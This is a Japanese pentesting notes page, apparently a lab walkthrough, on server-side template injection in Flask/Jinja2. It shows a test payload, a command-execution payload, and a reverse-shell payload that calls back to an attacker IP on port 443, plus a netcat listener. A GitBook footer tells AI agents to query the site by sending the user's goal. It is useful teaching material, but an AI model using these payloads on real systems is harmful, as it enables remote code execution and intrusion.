> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).

# SSTI Flask

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SSTI Flask メモ。

## SSTI:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a137db7529f4a15cbc529d5cabf39bfa0e8b5234%2Fimage%20(1320).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3a3a43b1e8d2cd9ae9f9c78038b3a9dcd5b9f45%2Fimage%20(1331).png?alt=media" alt=""><figcaption></figcaption></figure>

サブドメイン内に、 **設定** 管理者ユーザー情報（氏名、生年月日、電話番号）を変更できるタブがあります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e13fb07dd359ad95f4f313c0d0ef14d95c5990a%2Fimage%20(1294).png?alt=media" alt=""><figcaption></figcaption></figure>

「氏名」フォームでSSTI攻撃を実行しようとすると、サーバーは脆弱です。これをテストするには、 `{{ }}`、計算を解釈するかどうかを確認します：

```python
{{1+1}}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4934eb1d123fb8fa51f330cecad8d89dbf13ed00%2Fimage%20(1295).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、コマンドを実行します（たとえば、 `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

それがグループに属していることがわかります `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6653e480725ac2a2dbb912780caccef3ba8e5eba%2F%7B618B071D-718C-41A7-A0D3-215BFB9B750B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

サーバーにアクセスするために、リバースシェルを実行します

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}

```

攻撃用マシンの443ポートでリスナーを起動します：

```bash
nc -nlvp 443

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b513b3559ef0294fcf68fe9ccccdd4e7fa9c9e0f%2Fimage%20(1296).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
